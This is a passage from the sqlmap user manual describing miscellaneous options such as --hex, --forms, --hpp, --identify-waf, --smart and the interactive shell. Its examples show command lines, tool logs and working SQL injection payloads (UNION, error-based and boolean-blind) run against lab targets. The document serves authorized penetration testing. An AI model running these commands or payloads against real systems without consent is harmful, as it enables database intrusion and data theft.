With this option you can exclude pages from crawling by providing a regular expression. For example, if you want to skip all pages that have the keyword logout in their paths, you can use --crawl-exclude=logout.

Delimiting character used in CSV output

Option: --csv-del

When data being dumped is stored into the CSV format (--dump-format=CSV), entries have to be separated with a “separation value” (default is ,). In case that user wants to override its default value he can use this option (e.g. --csv-del=";").

DBMS authentication credentials

Option: --dbms-cred

In some cases user will be warned that some operations failed because of lack of current DBMS user privileges and that he could try to use this option. In those cases, if he provides admin user credentials to sqlmap by using this option, sqlmap will try to rerun the problematic part with specialized “run as” mechanisms (e.g. OPENROWSET on Microsoft SQL Server) using those credentials.

Format of dumped data

Option: --dump-format

sqlmap supports three different types of formatting when storing dumped table data into the corresponding file inside an output directory: CSV, HTML and SQLITE. Default one is CSV, where each table row is stored into a textual file line by line, and where each entry is separated with a comma character , (or one provided with option --csv-del). In case of HTML, output is being stored into a HTML file, where each row is represented with a row inside a formatted table. In case of SQLITE, output is being stored into a SQLITE database, where original table content is replicated into the corresponding table having a same name.

Force character encoding used for data retrieval

Option: --encoding

For proper decoding of character data sqlmap uses either web server provided information (e.g. HTTP header Content-Type) or a heuristic result coming from a 3rd party library chardet.

Nevertheless, there are cases when this value has to be overwritten, especially when retrieving data containing international non-ASCII letters (e.g. --encoding=GBK). It has to be noted that there is a possibility that character information is going to be irreversibly lost due to implicit incompatibility between stored database content and used database connector at the target side.

Estimated time of arrival

Switch: --eta

It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.

Example against an Oracle target affected only by boolean-based blind SQL injection:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========&gt;                                          ] 11/64  ETA 00:19

Then:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

Flush session files

Option: --flush-session

As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option --flush-session. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

Parse and test forms’ input fields

Switch: --forms

Say that you want to test against SQL injections a huge search form or you want to test a login bypass (typically only two input fields named like username and password), you can either pass to sqlmap the request in a request file (-r), set the POSTed data accordingly (--data) or let sqlmap do it for you!

Both of the above mentioned instances, and many others, appear as <form> and <input> tags in HTML response bodies and this is where this switch comes into play.

Provide sqlmap with --forms as well as the page where the form can be found as the target URL (-u) and sqlmap will request the target URL for you, parse the forms it has and guide you through to test for SQL injection on those form input fields (parameters) rather than the target URL provided.

Ignore query results stored in session file

Switch: --fresh-queries

As you are already familiar with the concept of a session file from the description above, it is good to know that you can ignore the content of that file using option --fresh-queries. This way you can keep the session file untouched and for a selected run, avoid the resuming/restoring of queries output.

Use DBMS hex function(s) for data retrieval

Switch: --hex

In lost of cases retrieval of non-ASCII data requires special needs. One solution for that problem is usage of DBMS hex function(s). Turned on by this switch, data is encoded to it’s hexadecimal form before being retrieved and afterwards unencoded to it’s original form.

Example against a PostgreSQL target:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [&lt;a href='function.pg-query'
&gt;function.pg-query&lt;/a&gt;]: Query failed: ERROR:  invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in &lt;b&gt;/var/www/sqlmap/libs/pgsql.inc.p
hp&lt;/b&gt; on line &lt;b&gt;35&lt;/b&gt;'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by 
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

Custom output directory path

Option: --output-dir

sqlmap by default stores session and result files inside a subdirectory output. In case you want to use a different location, you can use this option (e.g. --output-dir=/tmp).

Parse DBMS error messages from response pages

Switch: --parse-errors

If the web application is configured in debug mode so that it displays in the HTTP responses the back-end database management system error messages, sqlmap can parse and display them for you.

This is useful for debugging purposes like understanding why a certain enumeration or takeover switch does not work – it might be a matter of session user’s privileges and in this case you would see a DBMS error message along the lines of Access denied for user <SESSION USER>.

Example against a Microsoft SQL Server target:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the 
timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
&lt;b&gt;/sqlmap/mssql/iis/get_int.asp, line 27&lt;/b&gt;'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
 out of range of the number of items in the select list.
&lt;b&gt;/sqlmap/mssql/iis/get_int.asp, line 27&lt;/b&gt;'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
 out of range of the number of items in the select list.
&lt;b&gt;/sqlmap/mssql/iis/get_int.asp, line 27&lt;/b&gt;'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]

Save options in a configuration INI file

Option: --save

It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the -c option as explained above.

Update sqlmap

Switch: --update

Using this option you can update the tool to the latest development version directly from the Git repository. You obviously need Internet access.

If, for any reason, this operation fails, run git pull from your sqlmap working copy. It will perform the exact same operation of switch --update. If you are running sqlmap on Windows, you can use the SmartGit client.

This is strongly recommended before reporting any bug to the mailing lists.

Miscellaneous

Use short mnemonics

Option: -z

It could become tedious to type all desired options and switches, especially for those that are used most often (e.g. --batch --random-agent --ignore-proxy --technique=BEU). There is a simpler and much shorter way how to deal with that problem. In sqlmap it’s called “mnemonics”.

Each option and switch can be written in a shorter mnemonic form using option -z, separated with a comma character (,), where mnemonics represent only the first arbitrarily chosen part of the original name. There is no strict mapping of options and switches to their respective shortened counterparts. Only required condition is that there is no other option nor switch that has a same prefix as the desired one.

Example:

$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"

can be written (one of many ways) in shorter mnemonic form like:

$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"

Another example:

$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"

can be written in shorter mnemonic form like:

$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"

Alerting on successful SQL injection detection

Option: --alert

Set answers for questions

Option: --answers

In case that user wants to automatically set up answers for questions, even if --batch is used, using this option he can do it by providing any part of question together with answer after an equal sign. Also, answers for different question can be split with delimiter character ,.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]

Make a beep sound when SQL injection is found

Switch: --beep

In case that user uses switch --beep he’ll be warned with a beep sound immediately when SQL injection is found. This is especially useful when there is a large bulk list (option -m) of target URLs to be tested.

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: --cleanup

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch --cleanup will attempt to clean up the DBMS and the file system wherever possible.

Check for dependencies

Switch: --dependencies

sqlmap in some special cases requires independent installation of extra 3rd party libraries (e.g. options -d, switch --os-pwn in case of icmpsh tunneling, option --auth-type in case of NTLM HTTP authentication type, etc.) and it will warn the user only in such special cases. But, if you want to independently check for all those extra 3rd party library dependencies you can use switch --dependencies.

$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
 order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi &amp; python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ &amp; http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/

Disable console output coloring

Switch: --disable-coloring

sqlmap by default uses coloring while writting to console. In case of undesired effects (e.g. console appearance of uninterpreted ANSI coloring codes like \x01\x1b[0;32m\x02[INFO]) you can disable console output coloring by using this switch.

Use Google dork results from specified page number

Option: --gpage

Default sqlmap behavior with option -g is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this option (--gpage) a page other than the first one to retrieve target URLs from.

Use HTTP parameter pollution

Switch: --hpp

HTTP parameter pollution (HPP) is a method for bypassing WAF/IPS/IDS protection mechanisms (explained here) that is particularly effective against ASP/IIS and ASP.NET/IIS platforms. If you suspect that the target is behind such protection, you can try to bypass it by using this switch.

Make a through testing for a WAF/IPS/IDS protection

Switch: --identify-waf

sqlmap can try to identify backend WAF/IPS/IDS protection (if any) so user could do appropriate steps (e.g. use tamper scripts with --tamper). Currently around 30 different products are supported (Airlock, Barracuda WAF, etc.) and their respective WAF scripts can be found inside waf directory.

Example against a MySQL target protected by the ModSecurity WAF:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application 
Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application 
Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]

Skip heuristic detection of WAF/IPS/IDS protection

Switch: --skip-waf

By default, sqlmap automatically sends inside one of starting requests a dummy parameter value containing a deliberately “suspicious” SQL injection payload (e.g. ...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1). If target responds differently than for the original request, there is a high possibility that it’s under some kind of protection. In case of any problems, user can disable this mechanism by providing switch --skip-waf.

Imitate smartphone

Switch: --mobile

Sometimes web servers expose different interfaces toward mobile phones than to desktop computers. In such cases you can enforce usage of one of predetermined smartphone HTTP User-Agent header values. By using this switch, sqlmap will ask you to pick one of popular smartphones which it will imitate in current run.

Example run:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
&gt; 1
[...]

Work in offline mode (only use session data)

Switch: --offline

By using switch --offline sqlmap will use only previous session data in data enumeration. This basically means that there will be zero connection attempts during such run.

Safely remove all content from output directory

Switch --purge-output

In case that user decides to safely remove all content from output directory, containing all target details from previous sqlmap runs, he can use switch --purge-output. While purging, all files from (sub)directories in folder output will be overwritten with random data, truncated, renamed to random names, (sub)directories will be renamed to random names too, and finally the whole directory tree will be deleted.

Example run:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

Conduct through tests only if positive heuristic(s)

Switch --smart

There are cases when user has a large list of potential target URLs (e.g. provided with option -m) and he wants to find a vulnerable target as fast as possible. If switch --smart is used, only parameters with which DBMS error(s) can be provoked, are being used further in scans. Otherwise they are skipped.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&amp;use\
r=foo&amp;id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL &gt;= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL &gt; 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL &lt; 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL &gt; 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL &gt; 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

Select (or skip) tests by payloads and/or titles

Option --test-filter

In case that you want to filter tests by their payloads and/or titles you can use this option. For example, if you want to test all payloads which have ROW keyword inside, you can use --test-filter=ROW.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL &gt;= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL &gt;= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL &gt;= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)&gt;(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

Option --test-skip=TEST

In case that you want to skip tests by their payloads and/or titles you can use this option. For example, if you want to skip all payloads which have BENCHMARK keyword inside, you can use --test-skip=BENCHMARK.

Interactive sqlmap shell

Switch: --sqlmap-shell

By using switch --sqlmap-shell user will be presented with the interactive sqlmap shell which has the history of all previous runs with used options and/or switches:

$ python sqlmap.py --sqlmap-shell
sqlmap-shell&gt; -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL &gt;= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL &gt;= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL &gt;= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL &gt;= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell&gt; -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell&gt; exit

Simple wizard interface for beginner users

Switch: --wizard

For beginner users there is a wizard interface which uses a simple workflow with as little questions as possible. If user just enters target URL and uses default answers (e.g. by pressing Enter) he should have a properly set sqlmap run environment by the end of the workflow.

Example against a Microsoft SQL Server target:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
&gt; 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
&gt; 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
